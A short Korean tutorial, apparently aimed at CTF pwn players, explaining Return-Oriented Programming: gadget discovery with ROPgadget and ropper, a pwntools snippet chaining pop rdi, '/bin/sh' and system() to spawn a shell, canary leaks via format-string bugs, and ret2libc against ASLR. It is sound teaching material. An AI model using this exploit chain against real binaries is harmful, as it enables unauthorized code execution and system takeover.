ROP Chain: 스택 카나리아를 우회하는 방법
현대 바이너리는 NX(Non-Executable Stack)와 Stack Canary로 무장하고 있다.
그래서 나온 게 Return-Oriented Programming (ROP) — 새 코드를 주입하는 대신, 이미 존재하는 코드 조각을 재조합해 공격한다.
핵심 개념
Gadget: ret 명령어로 끝나는 짧은 코드 조각.
pop rdi ; ret
pop rsi ; ret
syscall ; ret
이 gadget들을 스택에 연결해서 원하는 동작을 만든다.
인자 세팅 → 함수 호출 → 쉘 획득. 이게 전부다.
실전 흐름
1단계 — Gadget 찾기
ROPgadget --binary ./vuln --rop
ropper -f ./vuln
2단계 — Payload 구성 (pwntools)
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(elf.search(b'/bin/sh')))
rop.raw(elf.plt['system'])
payload = b'A' * offset + rop.chain()
3단계 — Canary 우회
카나리 값은 %p 포맷 스트링 버그나 memory leak으로 덤핑 가능.
leak → overwrite → ROP chain 순서로 붙인다.
ASLR이 켜져 있다면?
ret2plt 또는 ret2libc 기법으로 libc 베이스 주소를 먼저 leak한다.
puts(got['puts']) → libc base 계산 → system("/bin/sh") 호출
빠른 참고
checksec --file=./vuln— 보호 기법 확인pwndbg+cyclic— offset 찾기one_gadget ./libc.so— 원샷 쉘
💡 CTF pwn 문제의 70%는 ROP 변형이다. gadget 찾는 눈만 길러도 반은 먹고 들어간다.